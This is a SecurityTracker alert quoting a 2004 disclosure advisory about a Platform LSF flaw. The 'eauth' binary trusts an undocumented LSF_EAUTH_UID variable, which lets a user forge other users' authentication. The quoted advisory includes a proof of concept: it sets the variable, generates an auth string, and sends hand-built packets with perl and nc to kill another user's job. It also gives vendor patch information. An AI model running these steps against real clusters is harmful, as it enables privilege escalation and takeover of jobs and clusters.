Platform LSF 'eauth' Undocumented Variable Lets Users Execute Commands With Arbitrary Privileges
SecurityTracker Alert ID: 1009179|
SecurityTracker URL: http://securitytracker.com/id/1009179
(Links to External Site)
Updated: Mar 23 2004|
Original Entry Date: Feb 23 2004
Execution of arbitrary code via local system, Root access via local system, User access via local system|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes |
Version(s): 4.x, 5.x, 6.x|
A vulnerability was reported in Platform LSF in 'eauth' in the undocumented processing of an environment variable. A user can submit commands to LSF acting as a different user.|
Tomasz Grabowski reported that eauth will run with the user id specified by the LSF_EAUTH_UID environment variable.
According to the report, a local user on a host within an LSF cluster can exploit this flaw to gain access on another host within the same cluster.
The vendor was reportedly notified on October 30, 2003.
A local user can execute commands under the user id of an arbitrary user on the target system or on another host within the local LSF cluster.|
The vendor reportedly issued an advisory on February 9, 2004 as Knowledge Base Article KB1-5T4XV.|
The vendor has reportedly issued a patch, available at:
Vendor URL: www.platform.com/products/LSFfamily/ (Links to External Site)
|Underlying OS: Linux (Any), UNIX (Any)|
Source Message Contents
Subject: [Full-Disclosure] Lam3rZ Security Advisory #2/2004: LSF eauth vulnerability leads to|
Lam3rZ Security Advisory #2/2004
23 Feb 2004
Remote (within a cluster) root in LSF
Name: Load Sharing Facility versions 4.x, 5.x, 6.x
Vendor URL: http://www.platform.com
Author: Tomasz Grabowski (email@example.com)
Vendor notified: 29 Oct 2003
Vendor confirmed: 30 Oct 2003
Vendor advisory: 9 Feb 2004
This vulnerability differs from the one described in Lam3rZ Security
"eauth" is the component within LSF which controls authenication. It can
be exploited to send commands to LSF on behalf of a different user. In
this way a user could submit and control jobs on behalf of other users.
This security risk is contained to "local cluster". This means that it can
be exploited remotely (from one host to another) but only between hosts
within the LSF cluster.
"eauth" has a very dangerous undocumented feature. Namely, during its
execution, it is checking for LSF_EAUTH_UID environment variable. If it
finds it, it is using it instead of the real UID of the user which invoked
"eauth" binary. This way attacker is able to generate authentication
string of any user in the system. It can be used to control processes on
behalf of other users in the cluster. Moreover, as such authentication
string is used for some administrative commands, attacker is able to
control the cluster itself.
In order to steal other user's process attacker needs to know
authentication data for that user. In most cases she will need just
"lsfadmin" authentication data, because this user can control other user's
processes, but let's say she wants to steal process from user "cadence".
$cat /etc/passwd|grep cadence
$ export LSF_EAUTH_UID=500
$ eauth -c hostname
Now, she needs to send packets. She can do it, for the sake of simplicity,
using Perl and NetCat software:
# first packet
perl -e 'print "\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00";
#let's call it a header, packet length
perl -e 'print "\x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40";
#below we provide UID, GID and length of user name
#below is the user name, end indicator, and probably auth data field length
#again authentication length and auth data itself
#rest of auth data, end indicator, question code (x09 - bkill) and process number
#send it to the target daemon
) | nc 192.168.10.106 6881
After sending these two packets, she will kill process number 119
belonging to user "cadence".
How to patch:
This problem has been directly addressed in a security patch released for
LSF. The fix is contained to the "eauth" binary which will need to be
replaced for each platform used in the cluster. The patch can be
downloaded from Platform FTP site.
If the OS or version is not currently available, it can be built on
demand. Please contact Platform Technical Support if you have any
questions or concerns.
This bug was confirmed in Platform's official security advisory dated
9 Feb 2004. It is accessible directly from Platform as Knowledge Base
Technical University of Szczecin, +48 (91)4494234
Academic Centre of Computer Science www.man.szczecin.pl
Full-Disclosure - We believe in it.